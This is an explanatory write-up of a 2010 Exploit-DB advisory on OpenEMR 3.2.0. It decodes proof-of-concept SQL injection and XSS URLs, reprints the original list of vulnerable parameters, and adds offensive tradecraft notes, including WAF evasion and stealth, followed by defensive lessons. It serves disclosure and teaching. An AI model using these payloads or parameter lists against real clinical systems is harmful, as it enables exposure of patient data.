Understanding OpenEMR 3.2.0 SQL Injection and Cross-Site Scripting Vulnerabilities

What this paper is

This paper details multiple security vulnerabilities found in OpenEMR version 3.2.0. Specifically, it describes:

• SQL Injection: The ability to manipulate database queries by injecting malicious SQL code through specific input parameters.
• Stored Cross-Site Scripting (XSS): The ability to inject malicious scripts that are stored on the server and executed when other users access the affected content.
• Reflected Cross-Site Scripting (XSS): The ability to inject malicious scripts that are executed immediately when a user clicks on a specially crafted link.

The author, Blake, published this information on December 27, 2010.

Simple technical breakdown

Imagine OpenEMR as a digital filing cabinet for patient records.

• SQL Injection: This is like someone finding a way to add their own notes to the filing cabinet's index cards, but instead of just writing notes, they can trick the system into revealing other people's files or even changing how the cabinet works. They do this by sending commands disguised as data through specific input fields.
• Stored XSS: This is like someone leaving a booby-trapped note in a patient's file. When another doctor or nurse opens that file, the booby-trapped note triggers a hidden message or action on their computer, not just the original note.
• Reflected XSS: This is like sending someone a link that, when clicked, immediately shows a pop-up message on their screen. The malicious script isn't stored; it's delivered directly through the link.

Complete code and payload walkthrough

The provided paper doesn't contain executable code in the traditional sense (like a full exploit script with shellcode). Instead, it provides proof-of-concept URLs that demonstrate the vulnerabilities. We will break down these URLs and the implied actions.

SQL Injection Example:

URL: http://192.168.1.127/openemr/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+null,null,null,@@version,system_user(),database(),user(),null,null,null,null,null,null,null,null,null,null,null--

Explanation:

This URL targets the add_edit_issue.php script and exploits the issue parameter.

• http://192.168.1.127/openemr/interface/patient_file/summary/add_edit_issue.php: This is the base URL pointing to the script that handles adding or editing patient issues.
• ?issue=: This indicates the start of the query string, and issue is the vulnerable parameter.
• 0+union+select+null,null,null,@@version,system_user(),database(),user(),null,null,null,null,null,null,null,null,null,null,null: This is the injected SQL payload.
  • 0: This is a placeholder value. The attacker likely needs to provide a value that matches the expected number of columns in the original query.
  • union: This SQL keyword combines the results of two or more SELECT statements.
  • select: This keyword is used to retrieve data from a database.
  • null,null,null: These are placeholders for columns that are not being targeted for data extraction. The number of null values is crucial; it must match the number of columns the original query would return. The attacker has provided 11 nulls in total.
  • @@version: This is a MySQL variable that returns the version of the MySQL server.
  • system_user(): This is a MySQL function that returns the current MySQL user.
  • database(): This is a MySQL function that returns the current database name.
  • user(): This is a MySQL function that returns the current MySQL user (often similar to system_user() but can differ in some contexts).
  • --: This is a SQL comment marker. It tells the database to ignore any subsequent characters in the query, effectively terminating the original SQL statement and preventing syntax errors.

Mapping:

• issue parameter -> Practical Purpose: Input field for patient issue details, vulnerable to SQL injection.
• 0 -> Practical Purpose: Placeholder to satisfy the original query's expected input for the issue parameter.
• union select -> Practical Purpose: To combine the original query's results with the attacker's injected query.
• null, null, ... -> Practical Purpose: Placeholders for columns not being exploited, ensuring the SELECT statement has the correct number of columns to match the original query's structure.
• @@version, system_user(), database(), user() -> Practical Purpose: These are the specific pieces of information the attacker is trying to extract from the database server.
• -- -> Practical Purpose: To comment out the rest of the original SQL query, preventing errors and ensuring the injected SELECT statement is executed.

Stored XSS Example:

URL: http://192.168.1.127/openemr/interface/patient_file/summary/immunizations.php?mode=add&id=&pid=98&form_immunization_id=6&administered_date=2010-12-26&manufacturer=&lot_number=&administered_by=Administrator%2C+&administered_by_id=1&education_date=2010-12-26&vis_date=2010-12-26&note=%22%3E%3Cscript%3Ealert%289%29%3C%2Fscript%3E

Explanation:

This URL targets the immunizations.php script, specifically when adding a new immunization record, and exploits the note parameter.

• http://192.168.1.127/openemr/interface/patient_file/summary/immunizations.php: The script for managing immunization records.
• ?mode=add&id=&pid=98&form_immunization_id=6&administered_date=2010-12-26&manufacturer=&lot_number=&administered_by=Administrator%2C+&administered_by_id=1&education_date=2010-12-26&vis_date=2010-12-26: These are standard parameters for adding an immunization record.
• &note=%22%3E%3Cscript%3Ealert%289%29%3C%2Fscript%3E: This is the injected payload for the note parameter.
  • %22: URL-encoded double quote (").
  • %3E: URL-encoded greater-than sign (>).
  • %3C: URL-encoded less-than sign (<).
  • script%3Ealert%289%29%3C%2Fscript%3E: This decodes to <script>alert(9)</script>.

How it works: The note parameter is likely displayed elsewhere in the application without proper sanitization. By injecting "><script>alert(9)</script>, the attacker closes any existing HTML tag (like a <div> or <input>) that might be wrapping the note content and then inserts a JavaScript alert box. When this data is later rendered on a page viewed by another user, the JavaScript will execute, displaying an alert box with the number 9. This demonstrates that arbitrary JavaScript can be injected and stored.

Mapping:

• note parameter -> Practical Purpose: Field for adding notes to an immunization record, vulnerable to Stored XSS.
• %22%3E -> Practical Purpose: Closes any open HTML tag that might be enclosing the note field's content, allowing the script to break out.
• <script>alert(9)</script> -> Practical Purpose: The actual JavaScript payload. When rendered, it executes an alert box, proving that arbitrary script execution is possible.

Reflected XSS Example:

URL: http://192.168.1.127/openemr/controller.php?document&upload&patient_id=2&parent_id=%22%3E%3Cscript%3Ealert%2810%29%3C%2Fscript%3E

Explanation:

This URL targets the controller.php script, likely during a document upload process, and exploits the parent_id parameter.

• http://192.168.1.127/openemr/controller.php: The main controller script.
• ?document&upload&patient_id=2: These are parameters indicating the action (document upload) and the patient associated with it.
• &parent_id=%22%3E%3Cscript%3Ealert%2810%29%3C%2Fscript%3E: This is the injected payload for the parent_id parameter.
  • %22%3E: URL-encoded ">.
  • %3Cscript%3Ealert%2810%29%3C%2Fscript%3E: URL-encoded <script>alert(10)</script>.

How it works: Similar to stored XSS, but the malicious script is not saved. When a user clicks this crafted link, the controller.php script processes the parent_id parameter. If the script reflects this parameter directly into the HTML output without proper sanitization, the injected JavaScript will execute in the user's browser, displaying an alert box with the number 10.

Mapping:

• parent_id parameter -> Practical Purpose: Parameter used in document upload/management, vulnerable to Reflected XSS.
• %22%3E -> Practical Purpose: Closes any open HTML tag that might be enclosing the parent_id field's content.
• <script>alert(10)</script> -> Practical Purpose: The JavaScript payload. When the URL is visited, this script executes in the user's browser.

Practical details for offensive operations teams

When planning authorized engagements involving OpenEMR or similar web applications with these types of vulnerabilities, consider the following:

• Required Access Level:

  • SQL Injection: Typically requires unauthenticated access to the web application, or at least access to a user role that can interact with the vulnerable endpoint.
  • Stored XSS: Requires authenticated access to a user role that can input data into the vulnerable parameter (e.g., a clinician or administrator role that can add notes). The impact is realized when other users (potentially with different roles) view the data.
  • Reflected XSS: Requires unauthenticated access or access to a user role that can trigger the vulnerable endpoint via a crafted URL. The attacker needs to trick a victim into clicking the malicious link.

• Lab Preconditions:

  • A running instance of OpenEMR version 3.2.0 (or a similarly vulnerable version).
  • A web server environment (e.g., Apache with PHP and MySQL) configured for OpenEMR.
  • Network connectivity to the target OpenEMR instance.
  • For Stored XSS, multiple user accounts with different privilege levels might be needed to demonstrate impact across roles.

• Tooling Assumptions:

  • Web Browser: For manual testing and URL construction.
  • Proxy Tool (e.g., Burp Suite, OWASP ZAP): Essential for intercepting, modifying, and replaying HTTP requests. This is crucial for crafting complex SQL injection payloads and observing how parameters are handled.
  • SQLMap (or similar automated SQLi tool): Can automate the discovery and exploitation of SQL injection vulnerabilities, including data extraction.
  • Payload Generation Tools: For crafting XSS payloads, though simple alerts are often sufficient for proof-of-concept.

• Execution Pitfalls:

  • SQL Injection:
    • Column Mismatch: The number of NULLs or selected columns in the UNION SELECT statement must precisely match the number of columns returned by the original query. Incorrect counts will lead to SQL syntax errors.
    • Database Type: SQL syntax can vary between database systems (MySQL, PostgreSQL, SQL Server, etc.). The provided payload is likely tailored for MySQL.
    • WAF/IDS Evasion: Web Application Firewalls or Intrusion Detection Systems might block common SQL injection patterns. Encoding, obfuscation, or using less common SQL syntax might be necessary.
    • Authentication/Authorization Bypass: If the vulnerable endpoint requires authentication, the attacker might need to find a way to bypass it first, or exploit it within the context of an already logged-in session.
  • XSS:
    • Output Encoding/Sanitization: Modern applications often have robust output encoding or sanitization mechanisms that can neutralize XSS payloads. The vulnerability exists when these are absent or improperly implemented.
    • Context of Reflection/Storage: The effectiveness of an XSS payload depends on where it's reflected or stored. If it's placed within an HTML attribute that doesn't execute JavaScript (e.g., alt attribute of an image), it might not work.
    • Browser Security Features: Browser security settings (like Content Security Policy - CSP) can prevent script execution.
    • User Interaction: Reflected XSS requires the victim to click a malicious link. Social engineering or other methods might be needed to achieve this.

• Tradecraft Considerations:

  • Reconnaissance: Thoroughly map the application's functionality and identify all input parameters. Use tools to discover hidden parameters or API endpoints.
  • Payload Crafting: Start with simple payloads (like alert(1)) to confirm the vulnerability before attempting more complex data exfiltration or code execution.
  • Stealth: For SQL injection, use techniques to avoid detection, such as time-based blind SQL injection or error-based SQL injection if direct union-based queries fail. For XSS, consider payloads that are less visually obvious than alert() boxes.
  • Documentation: Meticulously document all discovered vulnerabilities, including the exact URLs, parameters, payloads, and observed behavior.

Where this was used and when

• Software: OpenEMR version 3.2.0.
• Timeframe: The vulnerabilities were publicly disclosed on December 27, 2010. This implies the vulnerabilities likely existed and were exploitable in the wild prior to this date.
• Context: OpenEMR is a practice management and electronic medical record system. These vulnerabilities could have been exploited in healthcare organizations using this software to gain unauthorized access to sensitive patient data (PHI) or disrupt operations.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is paramount. All user-supplied input, whether from URLs, forms, or APIs, must be rigorously validated against expected formats and sanitized to remove or neutralize potentially malicious characters and code.
• Parameterized Queries (for SQLi): Always use parameterized queries or prepared statements when interacting with databases. This separates SQL code from data, preventing injection.
• Output Encoding (for XSS): Encode data appropriately before rendering it in HTML, JavaScript, CSS, or other contexts. Use context-aware encoding libraries.
• Least Privilege: Ensure that database users have only the necessary permissions. Avoid using highly privileged accounts for web application database connections.
• Web Application Firewalls (WAFs): Implement and properly configure WAFs to detect and block common attack patterns, including SQL injection and XSS. However, do not rely solely on WAFs; secure coding practices are the first line of defense.
• Regular Patching and Updates: Keep all software, including web applications and their underlying frameworks/libraries, up-to-date with the latest security patches.
• Security Audits and Code Reviews: Conduct regular security audits and code reviews to identify vulnerabilities before they can be exploited.
• Content Security Policy (CSP): Implement CSP headers to mitigate the impact of XSS by controlling which resources the browser is allowed to load.

ASCII visual (if applicable)

This paper describes web application vulnerabilities, which are best visualized as data flows rather than network architectures. A simple representation of how a malicious request might be processed:

+-----------------+      +-----------------+      +-----------------+      +-----------------+
| Attacker's      |----->| Web Browser     |----->| Web Server      |----->| OpenEMR App     |
| Malicious URL   |      | (Sends Request) |      | (Receives Req.) |      | (Processes Req.)|
+-----------------+      +-----------------+      +-----------------+      +-------+---------+
                                                                                    |
                                                                                    | (Vulnerable
                                                                                    |  Parameter
                                                                                    |  Processing)
                                                                                    v
                                                                            +-------+---------+
                                                                            | Database Server |
                                                                            | (Executes SQL / |
                                                                            |  Stores Data)   |
                                                                            +-----------------+

Explanation:

• The attacker crafts a malicious URL.
• The user's browser sends this URL as an HTTP request to the web server hosting OpenEMR.
• The OpenEMR application on the web server receives the request.
• If input validation and sanitization are weak, the application might directly process the malicious input, leading to unintended SQL execution on the database or script execution in the user's browser.

Source references

• Paper Title: OpenEMR 3.2.0 Multiple Vulnerabilities
• Author: Blake
• Published: 2010-12-27
• Exploit-DB Paper ID: 15836
• Exploit-DB URL: https://www.exploit-db.com/papers/15836
• Software Link (as provided in paper): http://sourceforge.net/projects/openemr/

Original Exploit-DB Content (Verbatim)

# Exploit Title: OpenEMR v3.2.0 Multiple Vulnerabilities
# Date: December 26, 2010
# Author: Blake
# Software Link: http://sourceforge.net/projects/openemr/
# Version: 3.2.0
# Tested on: Windows XP SP3


Description:
Open Source Practice Management, Electronic Medical Record, Prescription Writing and Medical Billing application.


SQL Injection:

The issue parameter is vulnerable to sql injection:

http://192.168.1.127/openemr/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+null,null,null,@@version,system_user(),database(),user(),null,null,null,null,null,null,null,null,null,null,null,null--

Additional vulnerable parameters: 
/openemr/controller.php [prescription&list&id parameter]
/openemr/controller.php [prescription&multip rintcss&id parameter]
/openemr/interface/main /calendar/index.php [pc_facility parameter]
/openemr/interface /patient_file/summary/add _edit_issue.php [issue parameter]
/openemr/interface /patient_file/summary /demographics.php [set_pid parameter]
/openemr/interface /patient_file/summary /immunizations.php [administered_by_id parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [assigned_to parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [form_note_type parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [noteid parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [offset parameter]


Stored XSS:
The note parameter is vulnerable to stored XSS:

http://192.168.1.127/openemr/interface/patient_file/summary/immunizations.php?mode=add&id=&pid=98&form_immunization_id=6&administered_date=2010-12-26&manufacturer=&lot_number=&administered_by=Administrator%2C+&administered_by_id=1&education_date=2010-12-26&vis_date=2010-12-26&note=%22%3E%3Cscript%3Ealert%289%29%3C%2Fscript%3E

Additional vulnerable parameters:
/openemr/interface /logview/logview.php [rumple parameter]
/openemr/interface /patient_file/report /patient_report.php [form_title parameter]
/openemr/interface /patient_file/summary /immunizations.php [manufacturer parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [assigned_to parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [rumple parameter]
/openemr/interface /usergroup/usergroup _admin.php [rumple parameter]

Reflected XSS:
The parent_id parameter is vulnerable to reflected XSS:

http://192.168.1.127/openemr/controller.php?document&upload&patient_id=2&parent_id=%22%3E%3Cscript%3Ealert%2810%29%3C/script%3E

Additional vulnerable parameters:
/openemr/controller.php [document&list&patient_id parameter]
/openemr/controller.php [document&upload&patient _id parameter]
/openemr/controller.php [document&upload&patient _id parameter]
/openemr/controller.php [parent_id parameter]
/openemr/controller.php [prescription&list&id parameter]
/openemr/interface/forms /newpatient/save.php [facility_id parameter]
/openemr/interface/forms /newpatient/save.php [form_date parameter]
/openemr/interface/forms /newpatient/save.php [form_date parameter]
/openemr/interface/forms /newpatient/save.php [form_onset_date parameter]
/openemr/interface/forms /newpatient/save.php [form_sensitivity parameter]
/openemr/interface/forms /newpatient/save.php [mode parameter]
/openemr/interface/forms /newpatient/save.php [pc_catid parameter]
/openemr/interface/forms /newpatient/save.php [reason parameter]
/openemr/interface /language/language.php [edit parameter]
/openemr/interface /language/language.php [m parameter]
/openemr/interface/main /calendar/index.php [&pc_username[] parameter]
/openemr/interface/main /calendar/index.php [pc_category parameter]
/openemr/interface/main /calendar/index.php [pc_topic parameter]
/openemr/interface/main /calendar/index.php [tplview parameter]
/openemr/interface /patient_file/deleter.php [billing parameter]
/openemr/interface /patient_file/summary/add _edit_issue.php [issue parameter]
/openemr/interface /patient_file/summary /demographics.php [set_pid parameter]
/openemr/interface /patient_file/summary /immunizations.php [administered_by_id parameter]
/openemr/interface /patient_file/summary /immunizations.php [lot_number parameter]
/openemr/interface /patient_file/summary /immunizations.php [manufacturer parameter]
/openemr/interface /patient_file/summary /immunizations.php [note parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [assigned_to parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [form_active parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [form_inactive parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [noteid parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [set_pid parameter]
/openemr/interface /usergroup/usergroup _admin.php [groupname parameter]
/openemr/interface /usergroup/usergroup _admin.php [rumple parameter]
/openemr/interface /patient_file/summary/add _edit_issue.php [form_title parameter]
/openemr/interface /patient_file/summary /pnotes_full.php [note parameter]